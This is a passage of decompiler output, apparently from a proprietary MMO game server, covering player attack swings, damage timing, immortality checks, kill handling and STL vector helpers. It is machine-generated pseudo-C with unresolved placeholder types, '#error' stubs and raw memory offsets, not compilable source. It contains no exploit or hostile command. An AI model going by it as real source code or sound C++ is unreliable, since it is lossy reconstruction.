AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 11); v5 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v10) = 1; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v6, v5, 0, 0, (int)&alchat, 1, 0); v7 = *((_DWORD *)v2 + 1001); if ( v7 ) v8 = (*(int (**)(void))(*(_DWORD *)v7 + 56))(); else v8 = 0; (*(void (__stdcall **)(char *, int))**((void (__stdcall ****)(_DWORD, _DWORD))v2 + 1776))((char *)v2 + 7104, v8); LOBYTE(v10) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingStart"); } //----- (00421110) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage(void *this) { int v1; // esi@1 int v2; // edi@1 unsigned int v3; // ebp@7 signed __int64 v4; // qax@9 char *v6; // [sp+4h] [bp-28h]@4 bool costumdec; // [sp+1Bh] [bp-11h]@3 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 32148); if ( !v2 ) v2 = *(_DWORD *)(v1 + 32152); costumdec = *(_WORD *)(v1 + 92548) == 1; if ( v2 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v1 + 1748))(v1, v2) ) { v3 = (unsigned int)(10 * (*(_DWORD *)(v1 + 88984) + (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1660))(v2))) >> 3; if ( ShineObjectClass::ShineObject::so_DistanceSquar(v1, v2) <= v3 * v3 ) { v4 = 140737488400i64 * (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1268))(v1); LOBYTE(v4) = *(_BYTE *)(v1 + 88992); *(_DWORD *)(v1 + 23284) = *(_DWORD *)(v1 + 23288) + (SHIDWORD(v4) >> 12) + (HIDWORD(v4) >> 31); if ( v4 & 4 ) (*(void (__thiscall **)(int, int, signed int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 2752))( v1, v2, 412, 0, 0, 0); if ( costumdec ) (*(void (__thiscall **)(int, _DWORD, _DWORD))(*(_DWORD *)v1 + 2780))(v1, 0, 0); } else { (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 2732))(v1); } v6 = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; } else { (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 2732))(v1); v6 = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; } } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2732))(v1); v6 = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); return 0; } //----- (00421280) -------------------------------------------------------- #error "421280: undefined or illegal type '#325' (funcsize=486)" //----- (004218B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_mobile_IsImmortal(void *this) { void *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2440))(v1) || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1216))(v1) && *((_BYTE *)v1 + 23280) & 0x40 ) v2 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"); return v2; } //----- (00421970) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMobileObject::smo_HitNotRevision(void *this) { void *v1; // edi@1 signed int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( *((_WORD *)v1 + 3692) == 1 ) v2 = -150; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"); return v2; } //----- (004219E0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor"); return 1000; } //----- (00421A30) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor(void *this) { void *v1; // esi@1 int v2; // eax@2 int v3; // esi@2 signed int result; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(int (**)(void))(**((_DWORD **)v1 + 1001) + 56))() == 21 ) { v2 = (((*((_WORD *)v1 + 46274) != 3) - 1) & 0x64) + 300; --funcallanalizer.fca_stackpoint; v3 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor"); result = v3; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor"); result = 1000; } return result; } //----- (00421B20) -------------------------------------------------------- #error "421B20: undefined or illegal type '#325' (funcsize=280)" //----- (00421F20) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy_backward(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest) { AbnormalStateContainer::AbstateElementInObject *v3; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { v3 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v3 - 116); result = (AbnormalStateContainer::AbstateElementInObject *)((char *)result - 116); memcpy(result, v3, 0x74u); } return result; } //----- (00421F50) -------------------------------------------------------- #error "421F50: undefined or illegal type '#325' (funcsize=23)" //----- (00421FA0) -------------------------------------------------------- #error "421FA0: undefined or illegal type '#325' (funcsize=142)" //----- (004221A0) -------------------------------------------------------- #error "4221A0: undefined or illegal type '#325' (funcsize=104)" //----- (00422310) -------------------------------------------------------- #error "422310: undefined or illegal type '#434' (funcsize=94)" //----- (00422480) -------------------------------------------------------- #error "422480: undefined or illegal type '#325' (funcsize=48)" //----- (00422500) -------------------------------------------------------- #error "422500: undefined or illegal type '#325' (funcsize=233)" //----- (00422800) -------------------------------------------------------- #error "422800: undefined or illegal type '#740' (funcsize=60)" //----- (00422900) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart(void *this) { int v1; // esi@1 #325 *v2; // eax@1 int v3; // ebp@2 int v4; // eax@8 unsigned int v5; // edi@14 int v6; // eax@16 unsigned int v7; // edx@16 int v8; // eax@16 int v9; // eax@18 int v10; // eax@21 char v11; // al@24 int v12; // ecx@25 unsigned int v13; // eax@27 DiceTaiSai *v14; // ecx@29 int v15; // eax@30 int v16; // eax@31 unsigned __int16 v17; // ax@31 char *v18; // eax@32 signed int v19; // ebp@33 char *v20; // ebx@33 signed __int64 v21; // qax@34 int v22; // edi@34 char v23; // ST0C_1@35 signed int v24; // eax@35 char v25; // ST0C_1@37 int v26; // edi@37 signed int v27; // eax@37 int v28; // edx@38 int v29; // edi@38 signed int v30; // eax@38 FunctionEntarance _; // [sp+1Ch] [bp-1Ch]@1 #325 *target; // [sp+20h] [bp-18h]@2 SHINE_XY_TYPE targetcoord; // [sp+24h] [bp-14h]@16 int v35; // [sp+34h] [bp-4h]@1 v1 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)(v1 + 92548) = 0; v2 = *(#325 **)(v1 + 32148); v35 = 0; if ( v2 ) { target = v2; v3 = (int)v2; } else { v3 = *(_DWORD *)(v1 + 32152); target = *(#325 **)(v1 + 32152); } if ( (unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v1 + 2340))( v1, v3, "sp_Schedule_SwingStart") ) { if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1052))(v1) + 3086) & 4 ) { LABEL_11: (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 2732))(v1); LABEL_42: v35 = -1; goto LABEL_43; } if ( !*(_DWORD *)(*(_DWORD *)(v1 + 92280) + 10) ) goto LABEL_46; v4 = *(_DWORD *)(v1 + 32148); if ( !v4 ) v4 = *(_DWORD *)(v1 + 32152); if ( !(unsigned __int8)(*(int (__stdcall **)(int))(**(_DWORD **)(v1 + 4004) + 64))(v4) ) goto LABEL_11; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 768))(v3) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 40))(v3) ) { LABEL_46: (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 2732))(v1); goto LABEL_42; } v5 = (unsigned int)(10 * (*(_DWORD *)(v1 + 88984) + (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1660))(v3))) >> 3; if ( ShineObjectClass::ShineObject::so_DistanceSquar(v1, v3) > v5 * v5 ) goto LABEL_15; v6 = *(_DWORD *)(v3 + 78); targetcoord.x = *(_DWORD *)v6; v7 = *(_DWORD *)(v6 + 4); v8 = *(_DWORD *)(v1 + 32148); targetcoord.y = v7; if ( !v8 ) v8 = *(_DWORD *)(v1 + 32152); ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v1, *(_DWORD *)(v8 + 78), 10000, (int)&targetcoord, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); v9 = *(_DWORD *)(v1 + 32148); if ( !v9 ) v9 = *(_DWORD *)(v1 + 32152); if ( **(_DWORD **)(v9 + 78) != targetcoord.x ) goto LABEL_47; v10 = *(_DWORD *)(v1 + 32148); if ( !v10 ) v10 = *(_DWORD *)(v1 + 32152); if ( *(_DWORD *)(*(_DWORD *)(v10 + 78) + 4) != targetcoord.y ) { LABEL_47: (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2732))(v1); goto LABEL_40; } v11 = *(_BYTE *)(v1 + 88992); ++*(_BYTE *)(v1 + 7376); if ( !(v11 & 4) ) { LABEL_40: v35 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } ShineObjectClass::ShineMobileObject::smo_SwingStart((void *)v1, v3); v12 = *(_DWORD *)(v1 + 4004); if ( v12 && (*(int (**)(void))(*(_DWORD *)v12 + 56))() == 11 ) { v13 = DirectDistanceTable::ddt_Distance( &ddt, **(_DWORD **)(v3 + 78) - **(_DWORD **)(v1 + 78), *(_DWORD *)(*(_DWORD *)(v3 + 78) + 4) - *(_DWORD *)(*(_DWORD *)(v1 + 78) + 4)); *(_WORD *)(v1 + 92228) = ((signed int)((unsigned __int64)(1374389535i64 * (signed int)(1000 * v13)) >> 32) >> 8) + ((unsigned int)((unsigned __int64)(1374389535i64 * (signed int)(1000 * v13)) >> 32) >> 31); } else { *(_WORD *)(v1 + 92228) = 0; } v14 = *(DiceTaiSai **)(v1 + 92236); if ( v14 && (MoveManager::MoveManager(v14), v15) && (MoveManager::MoveManager(*(DiceTaiSai **)(v1 + 92236)), v17 = *(_WORD *)(v16 + 8), v17 != -1) ) { v18 = (char *)ItemDataBox::operator__(&itemdatabox, v17)->HitTimeArray; if ( !*(_WORD *)v18 ) { LABEL_15: (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2732))(v1); goto LABEL_40; } v19 = 0; v20 = v18; do { v21 = 274877907i64 * *(_WORD *)v20 * (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1268))(v1); v22 = (SHIDWORD(v21) >> 6) + (HIDWORD(v21) >> 31); if ( v22 <= 0 ) break; v23 = *(_BYTE *)(v1 + 7376); v24 = ShineObjectClass::ShineMobileObject::smo_HitNotRevision((void *)v1); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_PushBack( (NormalAttackDamageDelay::NormalAttackDamageTick *)(v1 + 66012), v22 + v24 + *(_WORD *)(v1 + 92228), target, v23); ++v19; v20 += 2; } while ( v19 < 3 ); } else { v25 = *(_BYTE *)(v1 + 7376); v26 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1268))(v1) / 2; v27 = ShineObjectClass::ShineMobileObject::smo_HitNotRevision((void *)v1); NormalAttackDamageDelay::NormalAttackDamageTick::nadt_PushBack( (NormalAttackDamageDelay::NormalAttackDamageTick *)(v1 + 66012), *(_WORD *)(v1 + 92228) + v27 + v26, (#325 *)v3, v25); } v28 = *(_DWORD *)v1; *(_WORD *)(v1 + 92548) = 1; v29 = (*(int (__thiscall **)(int))(v28 + 1268))(v1); v30 = ShineObjectClass::ShineMobileObject::smo_HitNotRevision((void *)v1); ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)(v1 + 92164), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#434 *))&ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_DAMAGE, v30 + v29); goto LABEL_40; } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2732))(v1); v35 = -1; LABEL_43: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"); return 0; } //----- (00422CE0) -------------------------------------------------------- #error "422CE0: undefined or illegal type '#325' (funcsize=20)" //----- (00422D30) -------------------------------------------------------- #error "422D30: undefined or illegal type '#325' (funcsize=258)" //----- (004230A0) -------------------------------------------------------- #error "4230A0: undefined or illegal type '#325' (funcsize=230)" //----- (004233C0) -------------------------------------------------------- #error "4233C0: undefined or illegal type '#325' (funcsize=355)" //----- (00423880) -------------------------------------------------------- #error "423880: undefined or illegal type '#434' (funcsize=366)" //----- (00423DC0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(AbnormalStateContainer::AbstateElementInObject *_First, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x74u); v6 = (char *)v6 + 116; --v5; } while ( v5 ); } } //----- (00423DF0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Ptr, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return (AbnormalStateContainer::AbstateElementInObject *)((char *)_Ptr + 116 * _Count); } //----- (00423E20) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 std::vector > *v5; // ebp@1 std::vector >::iterator v6; // ecx@1 AbnormalStateContainer::AbstateElementInObject *v7; // edx@2 std::vector >::iterator v8; // ebx@2 const void *v9; // esi@3 void *v10; // edi@3 AbnormalStateContainer::AbstateElementInObject *v11; // edi@5 AbnormalStateContainer::AbstateElementInObject *v12; // esi@5 std::vector >::iterator *v13; // eax@9 v4 = _Last; v5 = this; v6 = _First; if ( _First != _Last ) { v7 = v5->_Mylast; v8 = _First; if ( (AbnormalStateContainer::AbstateElementInObject *)_Last != v7 ) { do { v9 = (const void *)v4; v10 = (void *)v8; *(_DWORD *)&v4 += 116; *(_DWORD *)&v8 += 116; memcpy(v10, v9, 0x74u); } while ( (AbnormalStateContainer::AbstateElementInObject *)v4 != v7 ); v6 = _First; } v11 = v5->_Mylast; v12 = (AbnormalStateContainer::AbstateElementInObject *)v8; if ( (AbnormalStateContainer::AbstateElementInObject *)v8 != v11 ) { do { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(v12); v12 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v12 + 116); } while ( v12 != v11 ); v6 = _First; } v5->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v8; } v13 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v13; } //----- (00423E90) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v4; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v5; // edi@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 unsigned int v8; // esi@3 int v9; // eax@5 int v10; // eax@10 int v11; // ecx@14 int v12; // eax@17 void *v13; // eax@21 void *v14; // edi@21 AbnormalStateContainer::AbstateElementInObject *v15; // ST14_4@21 int v16; // eax@21 int v17; // esi@23 AbnormalStateContainer::AbstateElementInObject *v18; // eax@23 AbnormalStateContainer::AbstateElementInObject *v19; // ecx@26 std::vector >::iterator v20; // edi@26 signed int v21; // edx@26 unsigned int v22; // ST24_4@27 AbnormalStateContainer::AbstateElementInObject *v23; // ST20_4@27 unsigned int v24; // edx@27 int v25; // [sp-Ch] [bp-98h]@1 void *_Newvec; // [sp+0h] [bp-8Ch]@1 AbnormalStateContainer::AbstateElementInObject *p; // [sp+74h] [bp-18h]@21 std::vector > *thisa; // [sp+78h] [bp-14h]@1 int *v29; // [sp+7Ch] [bp-10h]@1 int v30; // [sp+88h] [bp-4h]@1 AbnormalStateContainer::AbstateElementInObject *_Wherea; // [sp+94h] [bp+8h]@28 AbnormalStateContainer::AbstateElementInObject *_Ptr; // [sp+98h] [bp+Ch]@21 int _Vala; // [sp+9Ch] [bp+10h]@21 v4 = this; v29 = &v25; thisa = this; memcpy(&_Newvec, _Val, 0x74u); v5 = this->_Myfirst; v6 = 0; v30 = 0; if ( v5 ) { v7 = (signed int)((char *)v4->_Myend + (unsigned int)(((unsigned __int64)(-1925330167i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) - (unsigned int)v5)) >> 6; v6 = v7 + ((unsigned int)v7 >> 31); } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = (signed int)((char *)v4->_Mylast - (char *)v4->_Myfirst) / 116; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[360].esc_abstate.buffer[-v9 + 21076] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v4->_Myfirst ) v10 = (signed int)((char *)v4->_Mylast - (char *)v4->_Myfirst) / 116; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1925330167i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 6; p = v4->_Mylast; if ( v21 + ((unsigned int)v21 >> 31) >= _Count ) { _Wherea = (AbnormalStateContainer::AbstateElementInObject *)((char *)v19 - 116 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( (AbnormalStateContainer::AbstateElementInObject *)((char *)v19 - 116 * _Count), v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 116 * _Count)); std::copy_backward( *(AbnormalStateContainer::AbstateElementInObject **)&v20, _Wherea, p); std::fill( *(AbnormalStateContainer::AbstateElementInObject **)&v20, (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&v20 + 116 * _Count), (AbnormalStateContainer::AbstateElementInObject *)&_Newvec); } else { std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, v19, (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&_Where + 116 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 116; v23 = v4->_Mylast; LOBYTE(v30) = 3; std::vector>::_Ufill( v4, v23, v22, (AbnormalStateContainer::AbstateElementInObject *)&_Newvec); v24 = (unsigned int)((char *)v4->_Mylast + 116 * _Count); v4->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v24; std::fill( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)(v24 - 116 * _Count), (AbnormalStateContainer::AbstateElementInObject *)&_Newvec); } } else { if ( (unsigned int)&wholesaver.ws_savestore[360].esc_abstate.buffer[-(v6 >> 1) + 21076] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v4->_Myfirst ) v12 = (signed int)((char *)v4->_Mylast - (char *)v4->_Myfirst) / 116; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Vala = 116 * v11; v13 = operator new(116 * v11); v14 = v13; v15 = v4->_Myfirst; p = (AbnormalStateContainer::AbstateElementInObject *)v13; LOBYTE(v30) = 1; _Ptr = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v15, *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, (AbnormalStateContainer::AbstateElementInObject *)&_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, v4->_Mylast, (AbnormalStateContainer::AbstateElementInObject *)((char *)_Ptr + 116 * v8), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = (int)v4->_Myfirst; v30 = 0; if ( v16 ) v16 = (signed int)((char *)v4->_Mylast - v16) / 116; v17 = v16 + v8; v18 = v4->_Myfirst; if ( v18 ) { std::vector>::_Destroy( v4, v18, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v14 + _Vala); v4->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)((char *)v14 + 116 * v17); v4->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v14; } } v30 = -1; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)&_Newvec); } //----- (004241B0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, AbnormalStateContainer::AbstateElementInObject _Val) { AbnormalStateContainer::AbstateElementInObject *v3; // ebx@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = (signed int)((char *)this->_Mylast - (char *)v3) / 116; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < (signed int)((char *)this->_Mylast - (char *)v3) / 116 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)((char *)v3 + 116 * _Newsize), (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = (signed int)((char *)this->_Mylast - (char *)v3) / 116; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&_Val); } //----- (00424290) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v4; // edi@1 AbnormalStateContainer::AbstateElementInObject *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && (signed int)((char *)this->_Mylast - (char *)v5) / 116 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1925330167i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 6; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = (char *)v4->_Myfirst + 116 * v6; return v8; } //----- (00424300) -------------------------------------------------------- #error "424379: positive sp value has been found (funcsize=31)" //----- (00424380) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v2; // edi@1 AbnormalStateContainer::AbstateElementInObject *v3; // ebx@1 int v4; // esi@2 signed int v5; // edx@3 AbnormalStateContainer::AbstateElementInObject *v6; // esi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((char *)this->_Mylast + (unsigned int)(((unsigned __int64)(-1925330167i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) - (unsigned int)v3)) >> 6; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < (unsigned int)((signed int)((char *)this->_Myend - (char *)v3) / 116) ) { v6 = this->_Mylast; std::_Uninit_fill_n>( this->_Mylast, 1u, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)((char *)v6 + 116); } else { std::vector>::insert( this, (std::vector >::iterator *)&_Val, (std::vector >::iterator)this->_Mylast, _Val); } } //----- (00424410) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_KilledBy(#325 *this, int a2, int damage, unsigned int aggrorate) { int v4; // ebx@1 char v5; // al@1 int v6; // eax@6 unsigned int v7; // ecx@6 char *v8; // ecx@6 int v9; // ecx@11 unsigned __int16 v10; // si@11 unsigned __int16 v11; // di@12 int v12; // edx@13 int v13; // ecx@14 int v14; // ecx@16 int v15; // edx@17 int v16; // eax@20 int v17; // eax@21 int v18; // eax@24 int v19; // esi@27 bool v20; // cf@27 int v21; // eax@28 int v22; // eax@30 int v23; // eax@32 int v24; // eax@34 int v25; // esi@38 void *v26; // edi@38 int v27; // edi@39 _DWORD *v28; // edi@41 int v29; // eax@41 int v30; // edx@43 int v31; // edi@43 unsigned __int16 v32; // ax@45 unsigned __int16 v33; // ST58_2@45 int v34; // eax@46 int v35; // eax@49 char *v36; // edi@49 int v37; // eax@49 ZoneBaseSession *v38; // eax@51 char *v39; // eax@52 int v40; // eax@54 int v41; // eax@57 unsigned int v42; // ST58_4@58 unsigned int v43; // eax@58 char *v44; // edi@59 ZoneBaseSession *v45; // eax@61 int v46; // edi@62 double v47; // st7@62 double v48; // st6@62 double v49; // st5@63 double v50; // st7@66 unsigned __int64 v51; // qax@68 signed int v52; // ecx@68 char *v53; // edi@71 int v54; // eax@73 char *v55; // esi@75 int v56; // eax@75 int v57; // eax@75 char v58; // al@76 char *v59; // edi@76 int v60; // eax@77 int v61; // eax@77 int v62; // eax@80 int v63; // eax@80 ZoneBaseSession *v64; // eax@82 char 